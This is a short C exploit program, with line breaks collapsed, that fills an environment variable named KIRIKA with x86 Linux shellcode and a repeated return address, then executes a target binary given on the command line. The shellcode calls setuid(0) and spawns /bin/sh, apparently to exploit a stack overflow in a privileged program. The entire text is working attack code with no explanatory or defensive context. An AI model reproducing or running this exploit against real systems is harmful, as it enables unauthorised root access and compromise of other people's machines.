#include <stdlib.h>#include <unistd.h>extern char **environ;int main(int argc, char **argv){	char large_string[128];	long *long_ptr = (long *) large_string;	int i;	char shellcode[] =		"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"		"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"		"\x80\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xe8\xd4\xff\xff\xff/bin/sh";	for (i = 0; i < 32; i++)		*(long_ptr + i) = (int) strtoul(argv[2], NULL, 16);	for (i = 0; i < (int) strlen(shellcode); i++)		large_string[i] = shellcode[i];	setenv("KIRIKA", large_string, 1);	execle(argv[1], argv[1], NULL, environ);		return 0;}